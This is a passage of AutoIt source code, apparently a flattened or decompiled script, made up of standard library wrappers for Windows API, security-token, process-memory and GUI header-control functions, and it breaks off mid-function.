  2729. Func _winapi_unhookwindowshookex($hhk)
  2730.     Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
  2731.     If @error Then Return SetError(@error, @extended, False)
  2732.     Return $aresult[0]
  2733. EndFunc
  2734.  
  2735. Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
  2736.     Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
  2737.     If @error Then Return SetError(@error, @extended, False)
  2738.     Return $aresult[0]
  2739. EndFunc
  2740.  
  2741. Func _winapi_updatewindow($hwnd)
  2742.     Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  2743.     If @error Then Return SetError(@error, @extended, False)
  2744.     Return $aresult[0]
  2745. EndFunc
  2746.  
  2747. Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
  2748.     Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
  2749.     If @error Then Return SetError(@error, @extended, False)
  2750.     Return $aresult[0]
  2751. EndFunc
  2752.  
  2753. Func _winapi_waitformultipleobjects($icount, $phandles, $fwaitall = False, $itimeout = -1)
  2754.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $fwaitall, "dword", $itimeout)
  2755.     If @error Then Return SetError(@error, @extended, -1)
  2756.     Return $aresult[0]
  2757. EndFunc
  2758.  
  2759. Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
  2760.     Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
  2761.     If @error Then Return SetError(@error, @extended, -1)
  2762.     Return $aresult[0]
  2763. EndFunc
  2764.  
  2765. Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
  2766.     Local $sunicodetype = "wstr"
  2767.     If NOT IsString($punicode) Then $sunicodetype = "struct*"
  2768.     Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  2769.     If @error Then Return SetError(@error, @extended, "")
  2770.     Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  2771.     $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  2772.     If @error Then Return SetError(@error, @extended, "")
  2773.     If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  2774.     Return $tmultibyte
  2775. EndFunc
  2776.  
  2777. Func _winapi_windowfrompoint(ByRef $tpoint)
  2778.     Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
  2779.     If @error Then Return SetError(1, @extended, 0)
  2780.     Return $aresult[0]
  2781. EndFunc
  2782.  
  2783. Func _winapi_writeconsole($hconsole, $stext)
  2784.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
  2785.     If @error Then Return SetError(@error, @extended, False)
  2786.     Return $aresult[0]
  2787. EndFunc
  2788.  
  2789. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
  2790.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
  2791.     If @error Then Return SetError(@error, @extended, False)
  2792.     $iwritten = $aresult[4]
  2793.     Return $aresult[0]
  2794. EndFunc
  2795.  
  2796. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  2797.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  2798.     If @error Then Return SetError(@error, @extended, False)
  2799.     $iwritten = $aresult[5]
  2800.     Return $aresult[0]
  2801. EndFunc
  2802.  
  2803. Func _security__adjusttokenprivileges($htoken, $fdisableall, $pnewstate, $ibufferlen, $pprevstate = 0, $prequired = 0)
  2804.     Local $acall = DllCall("advapi32.dll", "bool", "AdjustTokenPrivileges", "handle", $htoken, "bool", $fdisableall, "struct*", $pnewstate, "dword", $ibufferlen, "struct*", $pprevstate, "struct*", $prequired)
  2805.     If @error Then Return SetError(1, @extended, False)
  2806.     Return NOT ($acall[0] = 0)
  2807. EndFunc
  2808.  
  2809. Func _security__createprocesswithtoken($htoken, $ilogonflags, $scommandline, $icreationflags, $scurdir, $tstartupinfo, $tprocess_information)
  2810.     Local $acall = DllCall("advapi32.dll", "bool", "CreateProcessWithTokenW", "handle", $htoken, "dword", $ilogonflags, "ptr", 0, "wstr", $scommandline, "dword", $icreationflags, "struct*", 0, "wstr", $scurdir, "struct*", $tstartupinfo, "struct*", $tprocess_information)
  2811.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
  2812.     Return True
  2813. EndFunc
  2814.  
  2815. Func _security__duplicatetokenex($hexistingtoken, $idesiredaccess, $iimpersonationlevel, $itokentype)
  2816.     Local $acall = DllCall("advapi32.dll", "bool", "DuplicateTokenEx", "handle", $hexistingtoken, "dword", $idesiredaccess, "struct*", 0, "int", $iimpersonationlevel, "int", $itokentype, "handle*", 0)
  2817.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2818.     Return $acall[6]
  2819. EndFunc
  2820.  
  2821. Func _security__getaccountsid($saccount, $ssystem = "")
  2822.     Local $aacct = _security__lookupaccountname($saccount, $ssystem)
  2823.     If @error Then Return SetError(@error, @extended, 0)
  2824.     If IsArray($aacct) Then Return _security__stringsidtosid($aacct[0])
  2825.     Return ""
  2826. EndFunc
  2827.  
  2828. Func _security__getlengthsid($psid)
  2829.     If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
  2830.     Local $acall = DllCall("advapi32.dll", "dword", "GetLengthSid", "struct*", $psid)
  2831.     If @error Then Return SetError(2, @extended, 0)
  2832.     Return $acall[0]
  2833. EndFunc
  2834.  
  2835. Func _security__gettokeninformation($htoken, $iclass)
  2836.     Local $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", 0, "dword", 0, "dword*", 0)
  2837.     If @error OR NOT $acall[5] Then Return SetError(1, @extended, 0)
  2838.     Local $ilen = $acall[5]
  2839.     Local $tbuffer = DllStructCreate("byte[" & $ilen & "]")
  2840.     $acall = DllCall("advapi32.dll", "bool", "GetTokenInformation", "handle", $htoken, "int", $iclass, "struct*", $tbuffer, "dword", DllStructGetSize($tbuffer), "dword*", 0)
  2841.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2842.     Return $tbuffer
  2843. EndFunc
  2844.  
  2845. Func _security__impersonateself($ilevel = $securityimpersonation)
  2846.     Local $acall = DllCall("advapi32.dll", "bool", "ImpersonateSelf", "int", $ilevel)
  2847.     If @error Then Return SetError(1, @extended, False)
  2848.     Return NOT ($acall[0] = 0)
  2849. EndFunc
  2850.  
  2851. Func _security__isvalidsid($psid)
  2852.     Local $acall = DllCall("advapi32.dll", "bool", "IsValidSid", "struct*", $psid)
  2853.     If @error Then Return SetError(1, @extended, False)
  2854.     Return NOT ($acall[0] = 0)
  2855. EndFunc
  2856.  
  2857. Func _security__lookupaccountname($saccount, $ssystem = "")
  2858.     Local $tdata = DllStructCreate("byte SID[256]")
  2859.     Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountNameW", "wstr", $ssystem, "wstr", $saccount, "struct*", $tdata, "dword*", DllStructGetSize($tdata), "wstr", "", "dword*", DllStructGetSize($tdata), "int*", 0)
  2860.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2861.     Local $aacct[3]
  2862.     $aacct[0] = _security__sidtostringsid(DllStructGetPtr($tdata, "SID"))
  2863.     $aacct[1] = $acall[5]
  2864.     $aacct[2] = $acall[7]
  2865.     Return $aacct
  2866. EndFunc
  2867.  
  2868. Func _security__lookupaccountsid($vsid, $ssystem = "")
  2869.     Local $psid, $aacct[3]
  2870.     If IsString($vsid) Then
  2871.         $psid = _security__stringsidtosid($vsid)
  2872.     Else
  2873.         $psid = $vsid
  2874.     EndIf
  2875.     If NOT _security__isvalidsid($psid) Then Return SetError(1, @extended, 0)
  2876.     Local $typesystem = "ptr"
  2877.     If $ssystem Then $typesystem = "wstr"
  2878.     Local $acall = DllCall("advapi32.dll", "bool", "LookupAccountSidW", $typesystem, $ssystem, "struct*", $psid, "wstr", "", "dword*", 65536, "wstr", "", "dword*", 65536, "int*", 0)
  2879.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2880.     Local $aacct[3]
  2881.     $aacct[0] = $acall[3]
  2882.     $aacct[1] = $acall[5]
  2883.     $aacct[2] = $acall[7]
  2884.     Return $aacct
  2885. EndFunc
  2886.  
  2887. Func _security__lookupprivilegevalue($ssystem, $sname)
  2888.     Local $acall = DllCall("advapi32.dll", "bool", "LookupPrivilegeValueW", "wstr", $ssystem, "wstr", $sname, "int64*", 0)
  2889.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2890.     Return $acall[3]
  2891. EndFunc
  2892.  
  2893. Func _security__openprocesstoken($hprocess, $iaccess)
  2894.     Local $acall = DllCall("advapi32.dll", "bool", "OpenProcessToken", "handle", $hprocess, "dword", $iaccess, "handle*", 0)
  2895.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2896.     Return $acall[3]
  2897. EndFunc
  2898.  
  2899. Func _security__openthreadtoken($iaccess, $hthread = 0, $fopenasself = False)
  2900.     If $hthread = 0 Then $hthread = _winapi_getcurrentthread()
  2901.     If @error Then Return SetError(1, @extended, 0)
  2902.     Local $acall = DllCall("advapi32.dll", "bool", "OpenThreadToken", "handle", $hthread, "dword", $iaccess, "bool", $fopenasself, "handle*", 0)
  2903.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, 0)
  2904.     Return $acall[4]
  2905. EndFunc
  2906.  
  2907. Func _security__openthreadtokenex($iaccess, $hthread = 0, $fopenasself = False)
  2908.     Local $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  2909.     If $htoken = 0 Then
  2910.         If _winapi_getlasterror() <> $error_no_token Then Return SetError(3, _winapi_getlasterror(), 0)
  2911.         If NOT _security__impersonateself() Then Return SetError(1, _winapi_getlasterror(), 0)
  2912.         $htoken = _security__openthreadtoken($iaccess, $hthread, $fopenasself)
  2913.         If $htoken = 0 Then Return SetError(2, _winapi_getlasterror(), 0)
  2914.     EndIf
  2915.     Return $htoken
  2916. EndFunc
  2917.  
  2918. Func _security__setprivilege($htoken, $sprivilege, $fenable)
  2919.     Local $iluid = _security__lookupprivilegevalue("", $sprivilege)
  2920.     If $iluid = 0 Then Return SetError(1, @extended, False)
  2921.     Local $tcurrstate = DllStructCreate($tagtoken_privileges)
  2922.     Local $icurrstate = DllStructGetSize($tcurrstate)
  2923.     Local $tprevstate = DllStructCreate($tagtoken_privileges)
  2924.     Local $iprevstate = DllStructGetSize($tprevstate)
  2925.     Local $trequired = DllStructCreate("int Data")
  2926.     DllStructSetData($tcurrstate, "Count", 1)
  2927.     DllStructSetData($tcurrstate, "LUID", $iluid)
  2928.     If NOT _security__adjusttokenprivileges($htoken, False, $tcurrstate, $icurrstate, $tprevstate, $trequired) Then Return SetError(2, @error, False)
  2929.     DllStructSetData($tprevstate, "Count", 1)
  2930.     DllStructSetData($tprevstate, "LUID", $iluid)
  2931.     Local $iattributes = DllStructGetData($tprevstate, "Attributes")
  2932.     If $fenable Then
  2933.         $iattributes = BitOR($iattributes, $se_privilege_enabled)
  2934.     Else
  2935.         $iattributes = BitAND($iattributes, BitNOT($se_privilege_enabled))
  2936.     EndIf
  2937.     DllStructSetData($tprevstate, "Attributes", $iattributes)
  2938.     If NOT _security__adjusttokenprivileges($htoken, False, $tprevstate, $iprevstate, $tcurrstate, $trequired) Then Return SetError(3, @error, False)
  2939.     Return True
  2940. EndFunc
  2941.  
  2942. Func _security__settokeninformation($htoken, $itokeninformation, $vtokeninformation, $itokeninformationlength)
  2943.     Local $acall = DllCall("advapi32.dll", "bool", "SetTokenInformation", "handle", $htoken, "int", $itokeninformation, "struct*", $vtokeninformation, "dword", $itokeninformationlength)
  2944.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, False)
  2945.     Return True
  2946. EndFunc
  2947.  
  2948. Func _security__sidtostringsid($psid)
  2949.     If NOT _security__isvalidsid($psid) Then Return SetError(1, 0, "")
  2950.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertSidToStringSidW", "struct*", $psid, "ptr*", 0)
  2951.     If @error OR NOT $acall[0] Then Return SetError(2, @extended, "")
  2952.     Local $pstringsid = $acall[2]
  2953.     Local $ssid = DllStructGetData(DllStructCreate("wchar Text[" & _winapi_stringlenw($pstringsid) + 1 & "]", $pstringsid), "Text")
  2954.     _winapi_localfree($pstringsid)
  2955.     Return $ssid
  2956. EndFunc
  2957.  
  2958. Func _security__sidtypestr($itype)
  2959.     Switch $itype
  2960.         Case $sidtypeuser
  2961.             Return "User"
  2962.         Case $sidtypegroup
  2963.             Return "Group"
  2964.         Case $sidtypedomain
  2965.             Return "Domain"
  2966.         Case $sidtypealias
  2967.             Return "Alias"
  2968.         Case $sidtypewellknowngroup
  2969.             Return "Well Known Group"
  2970.         Case $sidtypedeletedaccount
  2971.             Return "Deleted Account"
  2972.         Case $sidtypeinvalid
  2973.             Return "Invalid"
  2974.         Case $sidtypeunknown
  2975.             Return "Unknown Type"
  2976.         Case $sidtypecomputer
  2977.             Return "Computer"
  2978.         Case $sidtypelabel
  2979.             Return "A mandatory integrity label SID"
  2980.         Case Else
  2981.             Return "Unknown SID Type"
  2982.     EndSwitch
  2983. EndFunc
  2984.  
  2985. Func _security__stringsidtosid($ssid)
  2986.     Local $acall = DllCall("advapi32.dll", "bool", "ConvertStringSidToSidW", "wstr", $ssid, "ptr*", 0)
  2987.     If @error OR NOT $acall[0] Then Return SetError(1, @extended, 0)
  2988.     Local $psid = $acall[2]
  2989.     Local $tbuffer = DllStructCreate("byte Data[" & _security__getlengthsid($psid) & "]", $psid)
  2990.     Local $tsid = DllStructCreate("byte Data[" & DllStructGetSize($tbuffer) & "]")
  2991.     DllStructSetData($tsid, "Data", DllStructGetData($tbuffer, "Data"))
  2992.     _winapi_localfree($psid)
  2993.     Return $tsid
  2994. EndFunc
  2995.  
  2996. Global Const $tagmemmap = "handle hProc;ulong_ptr Size;ptr Mem"
  2997.  
  2998. Func _memfree(ByRef $tmemmap)
  2999.     Local $pmemory = DllStructGetData($tmemmap, "Mem")
  3000.     Local $hprocess = DllStructGetData($tmemmap, "hProc")
  3001.     Local $bresult = _memvirtualfreeex($hprocess, $pmemory, 0, $mem_release)
  3002.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $hprocess)
  3003.     If @error Then Return SetError(@error, @extended, False)
  3004.     Return $bresult
  3005. EndFunc
  3006.  
  3007. Func _memglobalalloc($ibytes, $iflags = 0)
  3008.     Local $aresult = DllCall("kernel32.dll", "handle", "GlobalAlloc", "uint", $iflags, "ulong_ptr", $ibytes)
  3009.     If @error Then Return SetError(@error, @extended, 0)
  3010.     Return $aresult[0]
  3011. EndFunc
  3012.  
  3013. Func _memglobalfree($hmem)
  3014.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalFree", "handle", $hmem)
  3015.     If @error Then Return SetError(@error, @extended, False)
  3016.     Return $aresult[0]
  3017. EndFunc
  3018.  
  3019. Func _memgloballock($hmem)
  3020.     Local $aresult = DllCall("kernel32.dll", "ptr", "GlobalLock", "handle", $hmem)
  3021.     If @error Then Return SetError(@error, @extended, 0)
  3022.     Return $aresult[0]
  3023. EndFunc
  3024.  
  3025. Func _memglobalsize($hmem)
  3026.     Local $aresult = DllCall("kernel32.dll", "ulong_ptr", "GlobalSize", "handle", $hmem)
  3027.     If @error Then Return SetError(@error, @extended, 0)
  3028.     Return $aresult[0]
  3029. EndFunc
  3030.  
  3031. Func _memglobalunlock($hmem)
  3032.     Local $aresult = DllCall("kernel32.dll", "bool", "GlobalUnlock", "handle", $hmem)
  3033.     If @error Then Return SetError(@error, @extended, 0)
  3034.     Return $aresult[0]
  3035. EndFunc
  3036.  
  3037. Func _meminit($hwnd, $isize, ByRef $tmemmap)
  3038.     Local $aresult = DllCall("User32.dll", "dword", "GetWindowThreadProcessId", "hwnd", $hwnd, "dword*", 0)
  3039.     If @error Then Return SetError(@error, @extended, 0)
  3040.     Local $iprocessid = $aresult[2]
  3041.     If $iprocessid = 0 Then Return SetError(1, 0, 0)
  3042.     Local $iaccess = BitOR($process_vm_operation, $process_vm_read, $process_vm_write)
  3043.     Local $hprocess = __mem_openprocess($iaccess, False, $iprocessid, True)
  3044.     Local $ialloc = BitOR($mem_reserve, $mem_commit)
  3045.     Local $pmemory = _memvirtualallocex($hprocess, 0, $isize, $ialloc, $page_readwrite)
  3046.     If $pmemory = 0 Then Return SetError(2, 0, 0)
  3047.     $tmemmap = DllStructCreate($tagmemmap)
  3048.     DllStructSetData($tmemmap, "hProc", $hprocess)
  3049.     DllStructSetData($tmemmap, "Size", $isize)
  3050.     DllStructSetData($tmemmap, "Mem", $pmemory)
  3051.     Return $pmemory
  3052. EndFunc
  3053.  
  3054. Func _memmovememory($psource, $pdest, $ilength)
  3055.     DllCall("kernel32.dll", "none", "RtlMoveMemory", "struct*", $pdest, "struct*", $psource, "ulong_ptr", $ilength)
  3056.     If @error Then Return SetError(@error, @extended)
  3057. EndFunc
  3058.  
  3059. Func _memread(ByRef $tmemmap, $psrce, $pdest, $isize)
  3060.     Local $aresult = DllCall("kernel32.dll", "bool", "ReadProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $psrce, "struct*", $pdest, "ulong_ptr", $isize, "ulong_ptr*", 0)
  3061.     If @error Then Return SetError(@error, @extended, False)
  3062.     Return $aresult[0]
  3063. EndFunc
  3064.  
  3065. Func _memwrite(ByRef $tmemmap, $psrce, $pdest = 0, $isize = 0, $ssrce = "struct*")
  3066.     If $pdest = 0 Then $pdest = DllStructGetData($tmemmap, "Mem")
  3067.     If $isize = 0 Then $isize = DllStructGetData($tmemmap, "Size")
  3068.     Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", DllStructGetData($tmemmap, "hProc"), "ptr", $pdest, $ssrce, $psrce, "ulong_ptr", $isize, "ulong_ptr*", 0)
  3069.     If @error Then Return SetError(@error, @extended, False)
  3070.     Return $aresult[0]
  3071. EndFunc
  3072.  
  3073. Func _memvirtualalloc($paddress, $isize, $iallocation, $iprotect)
  3074.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAlloc", "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  3075.     If @error Then Return SetError(@error, @extended, 0)
  3076.     Return $aresult[0]
  3077. EndFunc
  3078.  
  3079. Func _memvirtualallocex($hprocess, $paddress, $isize, $iallocation, $iprotect)
  3080.     Local $aresult = DllCall("kernel32.dll", "ptr", "VirtualAllocEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $iallocation, "dword", $iprotect)
  3081.     If @error Then Return SetError(@error, @extended, 0)
  3082.     Return $aresult[0]
  3083. EndFunc
  3084.  
  3085. Func _memvirtualfree($paddress, $isize, $ifreetype)
  3086.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFree", "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  3087.     If @error Then Return SetError(@error, @extended, False)
  3088.     Return $aresult[0]
  3089. EndFunc
  3090.  
  3091. Func _memvirtualfreeex($hprocess, $paddress, $isize, $ifreetype)
  3092.     Local $aresult = DllCall("kernel32.dll", "bool", "VirtualFreeEx", "handle", $hprocess, "ptr", $paddress, "ulong_ptr", $isize, "dword", $ifreetype)
  3093.     If @error Then Return SetError(@error, @extended, False)
  3094.     Return $aresult[0]
  3095. EndFunc
  3096.  
  3097. Func __mem_openprocess($iaccess, $finherit, $iprocessid, $fdebugpriv = False)
  3098.     Local $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  3099.     If @error Then Return SetError(@error, @extended, 0)
  3100.     If $aresult[0] Then Return $aresult[0]
  3101.     If NOT $fdebugpriv Then Return 0
  3102.     Local $htoken = _security__openthreadtokenex(BitOR($token_adjust_privileges, $token_query))
  3103.     If @error Then Return SetError(@error, @extended, 0)
  3104.     _security__setprivilege($htoken, "SeDebugPrivilege", True)
  3105.     Local $ierror = @error
  3106.     Local $ilasterror = @extended
  3107.     Local $iret = 0
  3108.     If NOT @error Then
  3109.         $aresult = DllCall("kernel32.dll", "handle", "OpenProcess", "dword", $iaccess, "bool", $finherit, "dword", $iprocessid)
  3110.         $ierror = @error
  3111.         $ilasterror = @extended
  3112.         If $aresult[0] Then $iret = $aresult[0]
  3113.         _security__setprivilege($htoken, "SeDebugPrivilege", False)
  3114.         If @error Then
  3115.             $ierror = @error
  3116.             $ilasterror = @extended
  3117.         EndIf
  3118.     EndIf
  3119.     DllCall("kernel32.dll", "bool", "CloseHandle", "handle", $htoken)
  3120.     Return SetError($ierror, $ilasterror, $iret)
  3121. EndFunc
  3122.  
  3123. Global Const $_udf_globalids_offset = 2
  3124. Global Const $_udf_globalid_max_win = 16
  3125. Global Const $_udf_startid = 10000
  3126. Global Const $_udf_globalid_max_ids = 55535
  3127. Global Const $__udfguiconstant_ws_visible = 268435456
  3128. Global Const $__udfguiconstant_ws_child = 1073741824
  3129. Global $_udf_globalids_used[$_udf_globalid_max_win][$_udf_globalid_max_ids + $_udf_globalids_offset + 1]
  3130.  
  3131. Func __udf_getnextglobalid($hwnd)
  3132.     Local $nctrlid, $iusedindex = -1, $fallused = True
  3133.     If NOT WinExists($hwnd) Then Return SetError(-1, -1, 0)
  3134.     For $iindex = 0 To $_udf_globalid_max_win - 1
  3135.         If $_udf_globalids_used[$iindex][0] <> 0 Then
  3136.             If NOT WinExists($_udf_globalids_used[$iindex][0]) Then
  3137.                 For $x = 0 To UBound($_udf_globalids_used, 2) - 1
  3138.                     $_udf_globalids_used[$iindex][$x] = 0
  3139.                 Next
  3140.                 $_udf_globalids_used[$iindex][1] = $_udf_startid
  3141.                 $fallused = False
  3142.             EndIf
  3143.         EndIf
  3144.     Next
  3145.     For $iindex = 0 To $_udf_globalid_max_win - 1
  3146.         If $_udf_globalids_used[$iindex][0] = $hwnd Then
  3147.             $iusedindex = $iindex
  3148.             ExitLoop
  3149.         EndIf
  3150.     Next
  3151.     If $iusedindex = -1 Then
  3152.         For $iindex = 0 To $_udf_globalid_max_win - 1
  3153.             If $_udf_globalids_used[$iindex][0] = 0 Then
  3154.                 $_udf_globalids_used[$iindex][0] = $hwnd
  3155.                 $_udf_globalids_used[$iindex][1] = $_udf_startid
  3156.                 $fallused = False
  3157.                 $iusedindex = $iindex
  3158.                 ExitLoop
  3159.             EndIf
  3160.         Next
  3161.     EndIf
  3162.     If $iusedindex = -1 AND $fallused Then Return SetError(16, 0, 0)
  3163.     If $_udf_globalids_used[$iusedindex][1] = $_udf_startid + $_udf_globalid_max_ids Then
  3164.         For $iidindex = $_udf_globalids_offset To UBound($_udf_globalids_used, 2) - 1
  3165.             If $_udf_globalids_used[$iusedindex][$iidindex] = 0 Then
  3166.                 $nctrlid = ($iidindex - $_udf_globalids_offset) + 10000
  3167.                 $_udf_globalids_used[$iusedindex][$iidindex] = $nctrlid
  3168.                 Return $nctrlid
  3169.             EndIf
  3170.         Next
  3171.         Return SetError(-1, $_udf_globalid_max_ids, 0)
  3172.     EndIf
  3173.     $nctrlid = $_udf_globalids_used[$iusedindex][1]
  3174.     $_udf_globalids_used[$iusedindex][1] += 1
  3175.     $_udf_globalids_used[$iusedindex][($nctrlid - 10000) + $_udf_globalids_offset] = $nctrlid
  3176.     Return $nctrlid
  3177. EndFunc
  3178.  
  3179. Func __udf_freeglobalid($hwnd, $iglobalid)
  3180.     If $iglobalid - $_udf_startid < 0 OR $iglobalid - $_udf_startid > $_udf_globalid_max_ids Then Return SetError(-1, 0, False)
  3181.     For $iindex = 0 To $_udf_globalid_max_win - 1
  3182.         If $_udf_globalids_used[$iindex][0] = $hwnd Then
  3183.             For $x = $_udf_globalids_offset To UBound($_udf_globalids_used, 2) - 1
  3184.                 If $_udf_globalids_used[$iindex][$x] = $iglobalid Then
  3185.                     $_udf_globalids_used[$iindex][$x] = 0
  3186.                     Return True
  3187.                 EndIf
  3188.             Next
  3189.             Return SetError(-3, 0, False)
  3190.         EndIf
  3191.     Next
  3192.     Return SetError(-2, 0, False)
  3193. EndFunc
  3194.  
  3195. Func __udf_debugprint($stext, $iline = @ScriptLineNumber, $err = @error, $ext = @extended)
  3196.     ConsoleWrite("!===========================================================" & @CRLF & "+======================================================" & @CRLF & "-->Line(" & StringFormat("%04d", $iline) & "):" & @TAB & $stext & @CRLF & "+======================================================" & @CRLF)
  3197.     Return SetError($err, $ext, 1)
  3198. EndFunc
  3199.  
  3200. Func __udf_validateclassname($hwnd, $sclassnames)
  3201.     __udf_debugprint("This is for debugging only, set the debug variable to false before submitting")
  3202.     If _winapi_isclassname($hwnd, $sclassnames) Then Return True
  3203.     Local $sseparator = Opt("GUIDataSeparatorChar")
  3204.     $sclassnames = StringReplace($sclassnames, $sseparator, ",")
  3205.     __udf_debugprint("Invalid Class Type(s):" & @LF & @TAB & "Expecting Type(s): " & $sclassnames & @LF & @TAB & "Received Type : " & _winapi_getclassname($hwnd))
  3206.     Exit
  3207. EndFunc
  3208.  
  3209. Global $_ghhdrlastwnd
  3210. Global $debug_hdr = False
  3211. Global Const $__headerconstant_classname = "SysHeader32"
  3212. Global Const $__headerconstant_default_gui_font = 17
  3213. Global Const $__headerconstant_swp_showwindow = 64
  3214. Global Const $taghdhittestinfo = $tagpoint & ";uint Flags;int Item"
  3215. Global Const $taghdlayout = "ptr Rect;ptr WindowPos"
  3216. Global Const $taghdtextfilter = "ptr Text;int TextMax"
  3217.  
  3218. Func _guictrlheader_additem($hwnd, $stext, $iwidth = 50, $ialign = 0, $iimage = -1, $fonright = False)
  3219.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3220.     Return _guictrlheader_insertitem($hwnd, _guictrlheader_getitemcount($hwnd), $stext, $iwidth, $ialign, $iimage, $fonright)
  3221. EndFunc
  3222.  
  3223. Func _guictrlheader_clearfilter($hwnd, $iindex)
  3224.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3225.     Return _sendmessage($hwnd, $hdm_clearfilter, $iindex) <> 0
  3226. EndFunc
  3227.  
  3228. Func _guictrlheader_clearfilterall($hwnd)
  3229.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3230.     Return _sendmessage($hwnd, $hdm_clearfilter, -1) <> 0
  3231. EndFunc
  3232.  
  3233. Func _guictrlheader_create($hwnd, $istyle = 70)
  3234.     $istyle = BitOR($istyle, $__udfguiconstant_ws_child, $__udfguiconstant_ws_visible)
  3235.     Local $nctrlid = __udf_getnextglobalid($hwnd)
  3236.     If @error Then Return SetError(@error, @extended, 0)
  3237.     Local $hheader = _winapi_createwindowex(0, $__headerconstant_classname, "", $istyle, 0, 0, 0, 0, $hwnd, $nctrlid)
  3238.     Local $trect = _winapi_getclientrect($hwnd)
  3239.     Local $twindowpos = _guictrlheader_layout($hheader, $trect)
  3240.     Local $iflags = BitOR(DllStructGetData($twindowpos, "Flags"), $__headerconstant_swp_showwindow)
  3241.     _winapi_setwindowpos($hheader, DllStructGetData($twindowpos, "InsertAfter"), DllStructGetData($twindowpos, "X"), DllStructGetData($twindowpos, "Y"), DllStructGetData($twindowpos, "CX"), DllStructGetData($twindowpos, "CY"), $iflags)
  3242.     _winapi_setfont($hheader, _winapi_getstockobject($__headerconstant_default_gui_font))
  3243.     Return $hheader
  3244. EndFunc
  3245.  
  3246. Func _guictrlheader_createdragimage($hwnd, $iindex)
  3247.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3248.     Return Ptr(_sendmessage($hwnd, $hdm_createdragimage, $iindex))
  3249. EndFunc
  3250.  
  3251. Func _guictrlheader_deleteitem($hwnd, $iindex)
  3252.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3253.     Return _sendmessage($hwnd, $hdm_deleteitem, $iindex) <> 0
  3254. EndFunc
  3255.  
  3256. Func _guictrlheader_destroy(ByRef $hwnd)
  3257.     If $debug_hdr Then __udf_validateclassname($hwnd, $__headerconstant_classname)
  3258.     If NOT _winapi_isclassname($hwnd, $__headerconstant_classname) Then Return SetError(2, 2, False)
  3259.     Local $destroyed = 0
  3260.     If IsHWnd($hwnd) Then
  3261.         If _winapi_inprocess($hwnd, $_ghhdrlastwnd) Then
  3262.             Local $nctrlid = _winapi_getdlgctrlid($hwnd)
  3263.             Local $hparent = _winapi_getparent($hwnd)
  3264.             $destroyed = _winapi_destroywindow($hwnd)
  3265.             Local $iret = __udf_freeglobalid($hparent, $nctrlid)
  3266.             If NOT $iret Then
  3267.             EndIf
  3268.         Else
